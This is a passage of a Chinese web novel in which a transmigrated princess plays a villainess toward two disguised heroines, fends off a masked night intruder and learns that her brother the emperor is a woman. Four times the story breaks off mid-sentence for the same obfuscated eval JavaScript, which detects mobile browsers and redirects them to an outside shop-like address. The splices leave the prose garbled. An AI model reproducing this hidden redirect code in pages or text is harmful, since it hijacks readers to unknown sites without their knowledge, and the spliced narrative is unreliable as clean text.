打量的目光在谢舒遥的脸上流连着,看到面前的人微抿起了唇角,江迎瓷在心里为自己的表现点了个赞。 她现在活脱脱就是一个仗势欺人的恶霸,谢舒遥肯定觉得她很恶心,迫不及待想推开她,甚至是杀了她。 哎,话本子真没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135776|196272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白看。 见谢舒遥不说话,江迎瓷又用另一只手抚上谢舒遥的脸颊,指尖从脸侧一路滑到颈边,在谢舒遥微红的耳垂上轻轻捏了捏。 “为何不说话?” 靠得太近,两人的呼吸仿佛都交缠在了一起,江迎瓷的嗓音又轻又低,她呵气如兰,呼出的热气全洒在了谢舒遥的侧脸上。 谢舒遥闻到了一股熟悉的淡香味,清雅好闻,伴随着江迎瓷的体温,柔柔地将她整个人都笼罩其中。 江迎瓷的目光太专注了,她的眼里只剩下了谢舒遥的身影,让谢舒遥下意识有了种错觉,仿佛自己就是江迎瓷唯一捧在心上的挚爱一样。 这些天的经历又浮现在脑海中。 哪怕谢舒遥清楚地知道这都是假的,可身边发生的每件事,都在提醒她,她是不同的。 鲜美可口的饭菜,数不尽的新奇珍宝,府里下人尊敬而讨好的态度,随口的一句吩咐立马便能实现。 所有的一切都在告诉她,她是不一样的。 尤其是有一个谢凌闲做对比。 位高权重说一不二,掌握了所有人生杀大权的长公主殿下,却偏偏只对她例外,还用这种仿佛看爱人一样的眼神看着她。 换作旁人,恐怕早就动摇了吧? 谢舒遥咬了咬舌尖。 都是假的,是江迎瓷用来迷惑她的手段。 “殿下……” 谢舒遥侧过眼眸,温顺地露出了自己的脖颈。 江迎瓷只需要微微勾起指尖,就能挑起谢舒遥的下巴,肆意品尝她唇齿间的甘甜。 但江迎瓷却停住了。 真要亲吗? 她有些犹豫,话本子里只说可以亲一亲对方,但与女子亲密她还是头一次,到底该怎么做她也不会啊。 【宿主,这不是你该担心的问题。】 032号忽然冒了出来,【你只是女配而已,女主神圣的身体,是你配碰的吗?】 好有道理,无法反驳。 江迎瓷默了默,她迟疑道:“那我要现在松开吗?” 可她都做到这一步了,忽然又让谢舒遥离开,谢舒遥会觉得她很奇怪吧? 也不符合长公主的人设。 032号不答反问:【那你原本是怎么打算的?】 “我原本……” 她对主角受的强取豪夺注定是要失败的,就算她想霸王硬上弓,也一定会有突发事件出来阻止她,所以江迎瓷只打算亲谢舒遥一口,并不准备真的做什么。 032号了然:【放心吧宿主,不仅是身体,就连女主的初吻也不会属于你的。】 女主怎么可能跟女配有亲密戏份? 江迎瓷怔了怔,“这样么。” 可现在谢凌闲还被她关在飘絮馆里学规矩,谢舒遥却已经在她的掌控之中了,她只需要稍稍低头,就能夺去主角受的初吻。 这种情况,还有谁能出来阻止她? 脑海里刚飘过这个念头,江迎瓷就感觉自己的腹部突然传来一阵剧烈疼痛。 “嗯……” 她抑制不住地闷哼了一声,抓着谢舒遥手腕的指尖也无力地松开了,整个人眉头紧拧,面色逐渐由淡粉转为苍白。 “殿下!” 周围伺候的人霎时一拥而上,紧张地观察起了江迎瓷的情况。 谢舒遥猝不及防,整个人还维持着刚才的姿势没有动。 江迎瓷这是……怎么了?! 茗月探了探江迎瓷的脉搏,她目光凌厉,抬眼狠狠地瞪向谢舒遥。 “你敢给殿下下毒?!” 谢舒遥:…… 她倒是想! 但她敢吗?? 可江迎瓷刚刚还好好的,她是吃了自己喂的那块糕点之后才突然出了问题。 该死的,不会真是糕点有毒吧?! 8. 长公主的双面替身情人(八) 还没等谢舒遥多想,茗月就又厉声道:“还不快将她拿下!” “慢着!” 江迎瓷艰难抬起手,“送她回飘絮馆吧。” “殿下!”茗月急了。 谢舒遥很明显有谋害殿下的嫌疑,殿下即便再喜欢她,也不能如此轻易地就放过她啊。 江迎瓷不说话,只是眉眼沉沉地望着茗月,她的表情虽然略显痛苦,眼神却依旧充满压迫。 茗月心头一紧,“奴婢遵命。” 她深深看了谢舒遥一眼,殿下竟然如此信任她吗? 谢舒遥也没想到,江迎瓷竟然半点都不怀疑是她做了什么。 难不成这一切早就在江迎瓷的预料之中? 还是说她只是先按耐不动,打算等这之后再一并算账? 脑海中纷乱的思绪没能得到解答,眼见江迎瓷被一群人拥着,有两名小丫鬟已经跑去叫府医了,谢舒遥也只得听话,被人护送着回到了飘絮馆。 她心里有些遗憾。 原本以为今天终于能有所进展的。 怎么就那么巧? 想到方才江迎瓷微白的脸色,还有紧紧皱在一起的眉心,她脸上的痛苦不似作假,难道真是中毒了? 可长公主府的膳食有层层把守,更有专人试毒,究竟是谁有那么大的本事,能把毒下在江迎瓷日常所用的点心中,且还不被人发现? 谢舒遥忽然想起了谢凌闲。 昨夜她不告而别,连一句解释都没有,今早又不知何时回到了飘絮馆。 该不会是她去下的毒吧? 谢舒遥咬了咬牙。 她们的计划中,可没有要现在就除掉长公主的安排。 谢凌闲难不成是被长公主罚了,心有不满,所以才冲动行事? 这个没有脑子的蠢货! 谢舒遥加快了脚步,往谢凌闲的屋子走去。 谢凌闲最好祈祷不是她动的手脚! 否则她们才来几日,长公主就中了毒,旁人用脚趾头想也能想到是她们两人有问题! 谢凌闲正在屋里练字。 她每日能有一个时辰的休息时间,从未时初到未时末,此时柳嬷嬷不在,谢凌闲难得能有片刻清闲。 抬腕落下最后一笔,纸上的墨迹都还未完全干透,房门就猛地被人从外面推开了。 谢凌闲凝眸望去,正撞进了谢舒遥微沉的眼底。 她行色匆匆,看样子恐怕是出了什么事。 谢凌闲放下毛笔,静等着谢舒遥的下文。 谢舒遥也不客气,她反手合上房门,开门见山道:“你做的?” 谢凌闲愣了下,“什么?” 谢舒遥怀疑地观察着她的反应,眼里充满了探究,“真的不是你?” 谢凌闲根本不知道发生了何事,被谢舒遥这样指责,她的表情也淡了下来,“你想说什么?” 谢舒遥深吸了口气,“长公主中毒了,你知道吗?” 这句话说完,谢舒遥没有错过谢凌闲眼里那一瞬间的错愕。 难道真的不是她? 可除了谢凌闲,还有谁能有这样的本事? “你亲眼看见的?”谢凌闲沉声问道。 岂止亲眼。 谢舒遥:“……她是吃了我喂的糕点之后才中毒的。” 怪不得谢舒遥的表情这么难看。 谢凌闲也不计较她刚才的态度了。 “不是我。” 她昨夜只是在府里转了一圈,大概弄清了地形。 长公主府内果然有不少暗卫,不过谢凌闲能感觉出来,他们的实力都在自己之下,若是真打起来,她也能做到全身而退。 只是会打草惊蛇罢了。 谢凌闲神色坦荡,谢舒遥知道她向来不擅长撒谎,既然她说不是,那应当真的不是。 所以究竟是谁在陷害她? 谢舒遥脑海里飞快闪过了后院争宠,官场倾轧等等阴谋诡计。 或许是有人见她最近太受宠了,所以才会拿她当棋子。 那长公主呢? 她知不知道自己是被人陷害的? 想到好不容易才能和长公主有了一点亲密接触,结果就发生了这样的事情,哪怕不是她做的,或许长公主的心里也会因此留下疙瘩。 谢舒遥烦得想杀人。 谢凌闲没有说话,她瞥了眼谢舒遥沉重的脸色,心里却不经意地想到。 谢舒遥要是失宠了,长公主会转而将目光投向她么? …… 江迎瓷没有中毒。 折腾一圈,惊动了不少的人,结果她只是来葵水了。 府医收回把脉的手,“殿下气血不足,寒凝血瘀,以至腹痛难忍阴汗连连。日后切记要仔细保养,莫要再贪食冰饮,更吹不得冷风。” “多谢王大夫。” 茗月转身送府医出了门。 江迎瓷缩在被窝里,用锦被挡住半张脸,露出一双眼睛里的情绪瞧着木木的。 先前肚子那样痛,就连她都以为自己是中了毒,结果竟然只是月信到了。 好丢脸。 江迎瓷把脸全埋了进去。 她身为长公主的威严高大的形象,全毁了。 “殿下。” 茗月回来了,“您方才听王府医说了吗?” 殿下近日颇不节制,食用了不少冰碗,那东西虽然可口,却寒气极重。 她劝过好几次,殿下却都不当回事。 几日相处下来,江迎瓷感觉茗月就像自己的贴身保姆,她对茗月的态度也不再像初见时那样疏离冷淡。 听见这话,江迎瓷慢吞吞地回答道:“听见了。” 茗月有心想说什么,可瞧着江迎瓷这副难受的样子,她也心疼,于是又把话咽了下去。 “殿下先睡会儿吧,奴婢已经让人把药熬上了。” 江迎瓷闻言闭上了眼睛,但很快她又重新睁开眼,“阿瑶送回去了吗?” 茗月微不可察地抿了抿唇,都这时候了,殿下竟然还惦记着那个瘦马。 “已经按照殿下的吩咐,送阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135777|196272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑶姑娘回飘絮馆了。” 那就好。 今天的事只是剧情的安排,只为了不让她这个恶毒女配玷污女主纯洁的身体而已,跟谢舒遥没有什么关系。 不过这也算是给江迎瓷吃了一颗定心丸。 以后面对谢舒遥时,她就不用再那么畏手畏脚了。 反正剧情会阻止她的。 …… 打探不到长公主的情况,谢舒遥始终无法放下心来。 虽然直到现在也还没有人来盘问她,可一想到自己或许会受牵连,谢舒遥就坐立难安。 她思索再三,决定若是明日还没有消息,就主动前往扶风院请罪。 相比起她的焦躁,谢凌闲要淡定的多。 今日柳嬷嬷给她布置的任务,她都已经做完了,归尘丸的时间一到,谢凌闲便站起身来。 谢舒遥立马投来视线,“你去哪儿?” 她又要单独行动? “放心。” 谢凌闲擦拭着手中的飞叶刀,随后将其收在了腰间,“不会连累你。” 纯属哄人的屁话! 她要是出了什么事,怎么可能不连累到自己? 但谢凌闲却并没有再给谢舒遥说话的机会。 她转眼消失在了屋内,像从没出现过一样。 细微晃动的烛火重新归于平静,谢舒遥慢慢收紧了掌心。 她的武学造诣远不如谢凌闲,只是略懂拳脚而已,谢凌闲要走,她还真拦不住。 谢舒遥只能祈祷,谢凌闲不会做什么傻事。 夜色寂静,偶有几声虫鸣交叠响起,走廊下站着几名守夜的侍女,她们神色严肃认真,目光直直望向前方。 长公主在屋内休息,没人敢发出动静,就连走路时的声音都极轻,生怕惊扰了主子。 在这样紧张严密的把守中,却有一道黑色身影悄无声息地撬开木窗,纵身轻盈地跃进了屋内。 轻纱浮动暖香盈盈,铜炉里飘着缕缕白烟,昏黄的烛光倒映在墙上,将四周铺上了一层模糊暗影。 床幔半合着,一只素白的手搭在床沿,手的主人似乎睡得正沉,呼吸声轻得几不可闻。 那个叫茗月的侍女就歇在一旁。 她似乎察觉到了什么,敏锐地睁开了眼,却还没来得及发出声音,就被来人利索地一个手刀劈在后颈处,身体软软地倒了下去。 衣物摩擦声并不大,可床榻上躺着的人却仍是慢慢醒了过来。 “茗月?” 江迎瓷的嗓音略显沙哑。 她的小腹还在疼着,只因为喝了药,并不如白日那样尖锐剧烈,而是一种绵绵的闷痛。 身体没什么力气,江迎瓷也不想动弹。 她等着茗月上前来,可床幔外却静悄悄的,江迎瓷不得不伸手掀开床纱,“茗月……” 话还没有说完,就被眼前的景象给堵在了喉咙里。 还残留着倦意的脑袋瞬间清醒了过来。 江迎瓷的脸一寸寸冷了下来。 “你是谁?” 9. 长公主的双面替身情人(九) 来人一袭黑色夜行衣,连脸都挡得严严实实,眉眼也看得不甚清楚。 她不说话,只径直朝江迎瓷伸出手。 江迎瓷反应极快,肚子还疼着,但却并不妨碍她一把抓起枕头下藏着的匕首,朝来人刺了过去。 同时另一只手握住颈边的玉佩,指腹用力一按,两枚细小的银针瞬间飞射出去,直直对着来人的心脏。 长公主位高权重,想刺杀她的人也很多,难免有时有那么一两个,能突破外面的守卫闯进来,所以她早有准备。 趁着来人飞身躲开的功夫,江迎瓷就要拽动手边的银铃,引起外面那些守卫的注意。 可就在她即将用力的那一瞬间,她却突然顿住了。 距离稍稍拉远,烛光照在来人的身上,让江迎瓷终于能够完全看清她的身形。 吸引江迎瓷的不是来人的打扮,而是她头顶上那一行清晰的小字。 [主角攻:谢凌闲] 江迎瓷:…… 搞了半天是主角攻啊。 剧情里有这一遭吗? 江迎瓷心头无语,抓着绳索的手却依旧没有松开。 主角攻这是受什么刺激了? 大晚上不睡觉来找她,该不会是想现在就杀了她吧? 难道她是被自己宠爱谢舒遥的传闻给刺激得吃醋了,失去理智了,所以才偷偷来教训自己? 江迎瓷神色明灭变换。 谢凌闲也还没冷静下来。 长公主的身手竟然比她想的要好,她还以为江迎瓷就是个病怏怏的废柴来着。 不过看江迎瓷这副生龙活虎的样子,她应当是没有中毒的。 谢舒遥那个白痴可以放心了。 谢凌闲站定,那一刀和两枚银针都被她轻松躲了过去,她压低嗓音,隔着距离同江迎瓷对视,“公主好身手。” 江迎瓷已经知道她是谁了,心里也没有那么慌,她轻扯唇角,“阁下身手也不错。” “只是不知你深夜来寻本宫,有何要事?” 谢凌闲注意到了她手中紧攥的绳子,也知道江迎瓷一旦拉响银铃,外面的侍卫和暗卫立马就会冲进来,但她却不见多少惊慌之色。 “殿下猜一猜,是你的暗卫进来的快,还是我的刀快。” 她抬起手腕,双指间夹着一枚细长轻薄的飞叶刀。 刚才那一次交锋,完全足以让江迎瓷意识到谢凌闲的功夫极好。 主角攻么,有点儿异于常人的本事也很正常,否则怎么从她手中抢回主角受? 江迎瓷表情不变,哪怕性命受人威胁,她也仍旧是一副从容镇定的样子。 只是因为身体不适,唇上那抹微弱的苍白病态还是稍稍折损了她的气势。 谢凌闲只觉得她在故作冷静。 “我不想做什么。” 谢凌闲刻意态度轻佻道:“只是听闻长公主殿下容色倾城。” “想来亲眼看看而已。” 这样放肆的语气,好像江迎瓷是什么以色侍人的歌伎舞女似的。 换作平时,江迎瓷早就发火了,但此时她却只是眼神冷淡,“阁下现在看到了,觉得如何?” “传闻不假。” 谢凌闲把玩着飞叶刀,朝江迎瓷步步逼近,“只是不知道,长公主偏宠女子这一条,是否也是真的?” 暗色的身影压近,居高临下打量着江迎瓷,从她狭长的双眼一路望到浅色唇瓣。 好香。 也不知道长公主究竟熏的是什么香,味道出乎意料的好闻。 谢凌闲短暂恍了恍神。 江迎瓷没打算真的惊动暗卫,她看出了谢凌闲似乎也并没有要杀自己的意思,今夜前来估计只是为了打探情况。 想知道直接问不就行了,搞这么大阵仗。 还装得像个采花贼一样,从气质到声音丝毫看不出阿绾的影子,要不是她头顶的那行字实在太显眼,江迎瓷也不一定能把她联想到谢凌闲身上去。 谢凌闲根本不知道自己早就暴露了,还在同江迎瓷演戏。 “说起来,殿下的新欢旧爱似乎也不算少了。” “不知殿下最心仪的是哪个?” 说话间,修长手指猝不及防攥住了江迎瓷的手腕,江迎瓷只觉得手指一麻,抓着的绳子也被迫松开了。 她现在彻底没了护身之物,只能任由谢凌闲步步逼近。 “阁下对这个问题如此好奇。” 江迎瓷仰头望着谢凌闲,语气轻讽。 “难不成也想成为本宫的入幕之宾?” 两人的脸挨得极近,近到足够谢凌闲看清江迎瓷卷翘的长睫,和眼尾那一抹若隐若现的淡红。 谢凌闲忽然像是被烫到了一样,不知该继续说什么了。 原本是该感到恶心的。 但或许是此刻的江迎瓷并没有上次见面时的盛气凌人和不可一世,谢凌闲的心态好像也跟着发生了一点儿变化。 她想起了江迎瓷给她的那一巴掌。 那么突然,让她日夜思索,怎么也想不明白,江迎瓷为何会忽地翻脸。 如果她现在把那一巴掌还给江迎瓷,江迎瓷会不会很生气? 想到这张脸上可能会露出的愤怒和屈辱,谢凌闲竟觉得有些期待。 她的喉间滚了滚,“如果我说是呢?” 江迎瓷定定看了她几息,而后倏地嗤笑出声,“阁下既然听过传闻,自然也该知道,本宫只喜欢容貌姣好的女子。” 她毫不客气地上下扫视着谢凌闲,嫌弃都写在了脸上。 “藏头露尾的鼠辈,还不配入本宫的眼。” 她在暗示谢凌闲取下遮脸的面纱。 谢凌闲默然不言。 刚才抓住江迎瓷手腕的时候,她趁机探查过了,江迎瓷的脉搏虽然稍显无力,却并没有中毒的症状,只是气血有些亏损而已。 今夜的目的已经达到了,其余的表现都只是为了不暴露自己的身份而已。 谢凌闲除非是脑子出问题了,才会让江迎瓷看清自己的脸。 她挡住江迎瓷探过来的手,“殿下何必心急。” “今夜到此为止。” 目光徘徊在江迎瓷的脸上,谢凌闲低声道:“我对殿下十分感兴趣。” “还会再来的。” 江迎瓷的唇角微勾,眼里却没什么情绪,“阁下可以试试。” “下一次,或许就是有来无回了。” “是吗?” 谢凌闲松开江迎瓷的手腕,“我很期待殿下下一次的表现。” 话音还没落,她就已经提起内劲闪身飞出了窗外。 江迎瓷只觉得眼前一花,等她终于拉动绳索惊醒外面伺候的人时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135778|196272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,谢凌闲早就已经逃远了。 乌压压一群人闯了进来,看见倒在一旁昏迷不醒的茗月,顿时大惊失色。 “殿下!” 江迎瓷冷冷注视着众人,“去追。” 她看似动了大怒,实则心情却很平静。 主角攻肯定已经回到飘絮馆了,这些人是抓不到她的。 哎。 江迎瓷抬起手掌,指尖虚虚握了一下。 指节修长灵活,丝毫看不出一丝软弱和无力。 看到那扇半开的窗户了吗,那都是她给主角攻放的水啊。 …… 谢凌闲刚回到飘絮馆,身体里的内力就消失了。 时间卡的刚刚好。 要是她再耽搁一会儿,说不定就真被江迎瓷给抓住了。 用最快速度换了身衣裳,谢凌闲转身进了隔壁房间。 谢舒遥还没睡,谢凌闲刚一进来,她就立马坐了起来。 “你去哪儿了?” 谢凌闲是穿着贴身的里衣不错,可她眼神清明,分明不像是在休息的样子。 “你可以放心了。” 谢凌闲答非所问,“长公主没中毒。” 谢舒遥一点儿放松的样子都没有,反而更加严肃,“你去找长公主了?!” 谢凌闲究竟知不知道现在是什么时候? 长公主疑似中毒,府内必定守卫森严,稍有差池,她们就会被人看出端倪,从而暴露身份。 “她没有发现。” 谢凌闲确定自己今夜的言行举止同平日的她毫不沾边,况且她挡得严严实实,江迎瓷并没能看清她的脸。 她绝对猜不到自己的头上来。 “你凭什么能保证?” 谢舒遥是真的生气了。 谢凌闲凭什么这么自信? 她同江迎瓷相处的时间又不多,远不如自己了解江迎瓷。 谢舒遥知道,江迎瓷并非看上去那样懒散无能,相反她心思细腻,心计城府也远超旁人。 谢凌闲以为自己没暴露,说不定这会儿江迎瓷已经怀疑到她的头上了。 “你再这样一意孤行,迟早会害死我们。”谢舒遥气狠了。 “你担心的是你自己吧。”谢凌闲没有被她的语气吓到。 “放心,哪怕真的暴露了,我也不会让你死在这里。” 她对自己的武功有绝对的自信。 谢舒遥如今是真的有些后悔了。 怎么就找了这样一个人,不仅没能帮到她,反而还在不停地给她添堵。 偏偏她一时半会儿还不能拿谢凌闲怎么样。 谢舒遥掐紧掌心,忍下了到嘴边的骂句,“这次就算了。” “下回你若是想做什么,一定要提前同我商量。” 谢凌闲的回应是没有回应。 按照谢舒遥的计划,她不知还得等到猴年马月才能见到长公主。 这几日的规矩学下来,已经让谢凌闲的耐心降到了最低。 她没那么多的功夫陪谢舒遥玩这种把戏。 谢凌闲决定用自己的方式去接近江迎瓷。 一个贪恋长公主美色的,武功高强的采花贼,听起来似乎也不错。 长公主身边,大概也正缺一个身手不错的护卫。 她会让自己成为江迎瓷心中最合适的人选。 10. 长公主的双面替身情人(十) 长公主府内出现了刺客,比长公主最近颇为宠爱一个瘦马一事要严重得多。 那夜没能追查到刺客的行踪,当晚伺候的人或多或少都受了罚,倒没有伤筋动骨,毕竟江迎瓷只是做给外人看的。 或者说是做给主角攻看的。 茗月倒是很懊恼自责,明明她该是最先察觉的人,可她却没能保护好公主。 她自请受罚。 江迎瓷扶额,谢凌闲是主角,茗月只是配角,她如论如何也斗不过主角攻的,被打晕也是合情合理。 “你若是受了伤,谁来伺候本宫?” 殿下不计较此事,茗月自己却无法安心。 她这两日都神色凝重,也不知究竟在想些什么。 江迎瓷见她头顶的忠心值没有变,也就不管了。 但没想到很快,茗月就又精神了起来。 “殿下。” 茗月福身行礼,“森语回来了。” 她的眼角眉梢透着一种喜意。 江迎瓷拿到的只有剧情梗概,并不包括具体人物身份,闻言她不动声色,“嗯。” 茗月自动理解了她的语气,当即把人叫了进来。 江迎瓷只见一名身量高挑的女子走了进来,她的穿着同茗月有些类似,但眉眼却更加沉稳锋利,气势也与寻常婢女有所不同。 头顶的小字揭露了她的身份。 [暗卫首领:森语] [忠心值:100] 江迎瓷是知道府中有暗卫的。 这些暗卫有长公主自己培养的,也有皇帝赐下来的,目的就是为了保证她的安全。 但来了这么些天,她还没有亲眼见过其中任何一个。 没想到这些暗卫的首领,竟然是一名年纪不大的女子。 “森语见过殿下。” 女子单膝跪了下来。 她即便是跪着,腰背也挺得笔直,微微低着头没有直视江迎瓷的脸。 100的忠心值给了江迎瓷很大的安全感,她抬抬指尖,“起来吧。” 森语起身,却并未立马退下,而是从怀里取出一封信递给江迎瓷,“殿下的吩咐,森语幸不辱命。” 江迎瓷接过信封打开一看,里面竟然是一些人名。 这是什么? 没等江迎瓷出言试探,森语便径直道: “果然不出殿下所料。” “扬州知府表面清正廉洁,暗地里却同当地富商勾结,大肆欺压百姓抢占良田。” “这些都是他在朝中的同谋。” 扬州知府? 那不就是将主角攻受献给她的那个人吗? 江迎瓷垂着眼没有说话。 森语同茗月暗暗交换了一个眼神。 估计是殿下近些日子表现出的对那个瘦马的宠爱,迷惑了扬州知府,让他误以为长公主已经不准备再追查此事了,所以行动间难免露出了马脚。 现在她们已经掌握了部分证据,清算是迟早的事。 到时候,那两个瘦马估计也落不着好。 殿下会怎么处置她们呢? 江迎瓷将信纸压在桌面上,她点了点指尖,“本宫知道了。” 昨天的事肯定吓到主角受了,她要不要找个什么理由安抚一下主角受? 免得主角受胡思乱想,反而乱了计划。 哎,这任务真是不好做啊。 一边要遵循人设对主角受强取豪夺,一边又要给主角攻受放水。 032号当初果然还是在坑她吧? 没等江迎瓷想出理由来安抚谢舒遥,就又有另一个意料之外的人来到了公主府。 “皇姐!” 来人掀开珠帘,露出一张雌雄莫辨的少年脸庞,他身形清瘦,约莫和江迎瓷一般高,那双眼睛也跟江迎瓷有五分相似,只是更加明亮有神。 “我听说你身体不适,府里还出现了刺客,你没受什么伤吧?” 他一来,便自然地在榻边坐下,抓着江迎瓷的手腕仔细查看着。 江迎瓷有些尴尬。 茗月和森语却已经跪了下去。 “奴婢参见陛下。” 来人没有喊起,只是专注地望着江迎瓷。 江迎瓷却在盯着他头顶的身份提示发呆。 [大魏皇帝:江寻之??] [忠心值:100] 他的忠心值竟然也是100? 这位剧情里最大的反派,主角攻受复国路上最大的阻碍,传说中野心勃勃喜功好战的大魏皇帝。 江迎瓷以为他必定是威严深重,不苟言笑的。 没想到面前的人却极具少年灵气,他的眉眼顾盼神飞,眸光清澈唇红齿白,一头乌黑长发高高束成马尾,不像积威甚重的皇帝,更像是哪家娇养的小公子。 好像剧情里,大魏皇帝的确是年少登基,他的上位,离不开长公主的大力支持,所以两人的关系才会如此亲近。 算算时间,小皇帝现在似乎也才只有十九岁。 嘶。 江迎瓷忽然意识到,主角攻受好像也是十几岁吧。 所以只有她一个人的年纪是最大的? 罪过罪过。 江迎瓷取出被抓着的手腕,“陛下怎么来了?” 她没有起身行礼,还是那样悠闲躺着,江寻之也没有在意,他注意到的是自己被挣脱的手。 低头看了一眼空荡的掌心,江寻之眼底阴骛了一瞬,再抬头时又恢复了澄澈无辜,“皇姐,你还没说呢,你没事吧?” “没什么事。” “休养几日就好了。” 再亲近的弟弟,那也男女有别,江迎瓷不好意思提起葵水,只含糊带过。 但江寻之早就知道了。 江迎瓷的每件事,他都知晓的一清二楚。 长公主府前脚刚请了府医,后脚江迎瓷的脉案就已经出现在御书房的桌上了。 他都知道,包括阿姐亲近的那个瘦马。 江寻之若无其事岔开话题,“扬州知府的事,我已经知道了。” “陛下来的正好。” 江迎瓷将信纸递给江寻之,“这是我的人带回来的。” 我的人。 江寻之瞥了眼森语,“让皇姐忧心了。” 他接过去却没有看,而是随意收进了怀里。 “接下来的事有我,皇姐先好好养身体。” 既然他都这样说了,江迎瓷也不再推辞。 她跟江寻之到底不熟悉,也没什么好聊的。 况且江寻之来得突然,江迎瓷根本都还没有做好准备。 她心里还惦记着谢舒遥,打算随意找个借口把江寻之给打发了。 谁知江寻之却好像看穿了她的意图,抢先一步说道:“我跟皇姐许久没有畅聊过了,今日难得有空,皇姐可否留我用个晚膳。” 他目光清明,完全看不出有什么坏心思。 江迎瓷:…… 原剧情里她跟小皇帝好像是要斗个你死我活的,可此刻江寻之对她的孺慕尊敬也不算假。 更何况他头顶还明晃晃地挂着100的忠心值呢。 所以她们之后究竟是怎么闹绷的? 头疼。 “茗月。” 江迎瓷摆摆手,“吩咐厨房备膳吧。” 算了,至少现在她和小皇帝的关系还算亲近,他只是想留下来吃顿饭而已,总不好连这么一个小要求都不满足他。 “是。”茗月低头出去了。 江寻之听见这话,眼底的笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135779|196272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意总算真实了几分。 “多谢皇姐。” …… 谢舒遥等了一整天。 谢凌闲说长公主没有中毒,谢舒遥自然以为长公主会再召见自己。 可她没有。 每日午膳时分都会准时前来的马车并未出现,长公主也没有任何赏赐交给她。 虽然饭菜还和以往一样丰盛,谢舒遥却始终提着一颗心,担心事情有变。 她下定决心主动求见长公主,扶风院的人却说今日有贵客在,长公主没空见她。 能被长公主奉为贵客的人…… 谢舒遥精神一凛,转头同谢凌闲对上视线,两人都在彼此的眼中看出了答案。 大魏皇帝。 …… “让她滚。” 江寻之面无表情。 谢舒遥的求见根本没能传到江迎瓷的耳中。 江寻之压低嗓音,“若是惊扰了皇姐……” 他眼神阴冷。 前来传话的奴婢打了个寒颤,“奴婢明白了!” 等她匆忙离开后,江迎瓷这才步履缓慢地走了出来。 她换了身衣裳,在月色下显得更加素净,凛然不可侵犯。 江寻之眼里闪过一丝痴迷,他隐藏得极好,并未被江迎瓷看出不对劲来。 “皇姐,我等你好久了。” 江寻之说着,主动替自己倒了杯酒,仰头一饮而尽了。 江迎瓷的身体还有些不舒服,就不陪他一起喝了,她轻声劝道:“陛下少喝些吧。” 待会儿喝醉了,她还得操心怎么安置他。 江寻之眨眨眼,“宫里才酿的果酒,不醉人。” 话虽如此,他的脸却还是渐渐红了起来,眼底也漂浮着一层浅浅的醉意。 江迎瓷小口吃着菜,听江寻之在她耳边絮絮叨叨地说起以前的事。 她没有打断,反而从江寻之的描述中,勾勒出了一对互相扶持依靠的姐弟形象。 原来外表风光的皇帝和公主,曾经也是任人欺凌的可怜人。 江迎瓷叹了口气,她倒了杯茶递给江寻之,“陛下,你醉了。” 原本还趴着的人却忽然攥住了她的手腕,茶水晃动起来,沾湿了江迎瓷的指节。 “我没醉。” 江寻之直勾勾地盯着她,“皇姐,我很清醒。” 江迎瓷挣了挣,竟然没有挣脱。 江寻之察觉到手上的阻力,心里戾气更深,“皇姐,你在嫌弃我?” “陛下。” 江迎瓷拧眉,难道这对姐弟之间还有什么隐藏戏份吗? 江寻之的态度好像有些不对劲。 “你先松手。” 江寻之的眼眶红了起来,“我不。” “皇姐,你怎么可以嫌弃我。” 他醉意朦胧地呢喃着,“人人都可以厌我恨我,唯独皇姐你不行。” “皇姐……” 他靠得更近了。 江迎瓷冷下脸来,“陛下。” 她的声音严厉而冷沉。 “男女有别,还请陛下松手。” 周围伺候的人不知何时已经全部退去,庭院中只剩下江迎瓷和江寻之两个人。 “男女有别……哈哈哈哈哈!” 江寻之莫名地大笑起来,眼角甚至都因为激动而溢出了一滴眼泪。 江迎瓷不明白他在笑什么,她正要更用力挣脱,就听江寻之幽幽道: “皇姐,你是不是忘了?” “男女是有别没错。” “可阿芷是女孩子啊。” 什么?! 江迎瓷睁大了眼睛,看着眼前面容清俊秀丽的江寻之,难得卡了壳。 江寻之她,是女子?! 11. 长公主的双面替身情人(十一) 江迎瓷一时被这个消息给惊得定在了原地。 